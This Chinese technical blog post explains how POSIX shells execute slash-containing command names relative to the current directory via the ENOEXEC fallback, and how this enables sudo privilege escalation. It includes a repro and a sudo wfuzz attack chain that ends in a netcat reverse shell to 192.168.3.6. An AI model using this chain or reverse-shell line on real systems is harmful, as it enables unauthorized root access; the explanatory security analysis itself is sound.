有没有想过,只给普通用户一条看似无害的权限:
(ALL) NOPASSWD: /etc/passwd
然后把 /etc/passwd 改成可执行权限,就能被提权到 root shell?
更诡异的是:shell 居然会乖乖去执行当前目录下、文件名完全等于 /etc/passwd 第一行内容 的恶意脚本。
实操演示:https://asciinema.org/a/A9khgKn8WnMDwyKuh7Hus5q5a
很多人看到后直呼:“这不是当前目录劫持吗?shell 把 passwd 每一行当成命令路径去执行,但居然优先执行了当前目录的文件!”
并非如此。 这和 PATH 劫持没关系,它是 POSIX 对“命令名含斜杠”时的正常执行规则,在特定场景下产生了精确的“命中”效果。
下面用最直观的实验和系统调用跟踪,拆解这个“含斜杠命令名”陷阱的底层原理。
极简复现实验
# 在家目录操作
cd ~
# 1. 创建脚本,放在 /tmp(与运行目录不同)
cat > /tmp/pwn << 'EOF'
abc/ef/g
ddd
EOF
chmod +x /tmp/pwn
# 2. 只在当前目录创建恶意脚本
mkdir -p abc/ef
echo 'echo pwned!' > abc/ef/g
chmod +x abc/ef/g
# 3. 执行脚本(注意:脚本在 /tmp,当前目录是 ~)
strace -f -e execve zsh /tmp/pwn
关键输出:
[pid 159661] execve("/bin/sh", ["/bin/sh", "abc/ef/g"], 0x55ce6d08d058 /* 65 vars */) = 0
pwned!
/tmp/pwn:2: command not found: ddd
# 第二行 "ddd" 不含斜杠,走正常 PATH 搜索,一路 ENOENT,最终 command not found
可以看到:
第一行 abc/ef/g 被成功执行(打印 pwned!)
第二行 ddd 失败(command not found)
明明sudo执行命令时具有严格的环境变量隔离,为什么当前目录下的 abc/ef/g 能被命中并执行?
底层原理拆解
1. 命令名解析
shell 执行 /tmp/pwn 时逐行解析:
第一行 abc/ef/g(无空格)→ 被整体视为命令名。
关键点:命令名包含斜杠 /
2. POSIX 标准铁律:含斜杠的命令名直接当作路径执行
所有 POSIX 兼容 shell 都遵守:
- 命令名包含斜杠 → 视为路径,直接 execve,绝不搜索 $PATH。
- 命令名不含斜杠 → 才去 $PATH 搜索。
因此 shell 直接尝试:
execve("abc/ef/g", ["abc/ef/g"], env)
路径解析起点是当前工作目录(运行脚本时所在的 ~)。
3. 第一次 execve 失败,返回 ENOEXEC
内核在当前工作目录下查找 abc/ef/g:
- 找到了(我们预置的恶意脚本)
- 有执行权限
- 但它是纯文本(无 shebang、无 ELF 头)
→ 无法直接运行 → 返回 ENOEXEC
4. 标准 fallback 机制触发
POSIX 明确规定:
如果 execve 返回 ENOEXEC,shell 必须将该路径名当作一个 shell 脚本文件,用 shell 自身来解释执行它。
于是 shell 启动新的 shell 实例(这里是 /bin/sh),把原命令名作为待解释的脚本文件传给它:
即:
execve("/bin/sh", ["sh", "abc/ef/g"], env)
意思:请用 sh 解释执行名为 abc/ef/g 的脚本文件。
5. 解释执行时,依然以当前工作目录为起点
新启动的 sh 接到 abc/ef/g(相对路径),仍以当前工作目录(~)为起点查找 → 找到 → 读取 → 执行 → 输出 pwned!
这和经典 PATH 劫持的区别
| 特性 | 经典 PATH 劫持(. 在 PATH 中) | 本文现象(相对路径脚本解释) |
| 命令名是否含 / | 不含(如 ls) |
必须含 /(如 abc/ef/g) |
| 是否搜索 $PATH | 是 | 完全不搜索 $PATH |
| 触发条件 | 无路径命令 + PATH 含 . | 含 / 路径 execve 失败且返回 ENOEXEC |
| 查找位置 | $PATH 中所有目录(顺序查找) | 仅在当前工作目录(相对路径起点) |
| 是否标准行为 | 非标准,安全隐患,常被禁用 | POSIX 明确要求的标准行为 |
| 防御方式 | 移除 PATH 中的 . | 无法通过 PATH 防御,必须用绝对路径或固定 cd |
实际攻击场景
假如我们给用户配置了sudo wfuzz的权限
# sudo -l 显示
(ALL) NOPASSWD: /usr/bin/wfuzz
攻击者便可以利用 wfuzz 输出中必然出现的这一行:
Requests/sec.: 0
构造目录结构:
mkdir Requests
echo 'nc 192.168.3.6 4444 -e /bin/bash' > Requests/'sec.:'
chmod +x Requests/'sec.:'
然后执行:
sudo wfuzz -zlist,123 -u http://127.0.0.1/FUZZ -f /usr/bin/wfuzz
把输出覆盖到wfuzz命令本身
此时若再执行sudo wfuzz:
成功反弹root shell!
总结
这个机制本身不是漏洞,而是 POSIX 标准几十年来一直存在的行为。但在 sudo + 脚本输出 + 当前目录可控 这三者重合的场景下,会产生非常精准、难以防御的提权链。
希望这个拆解能帮大家更清楚地理解这个家族的利用手法。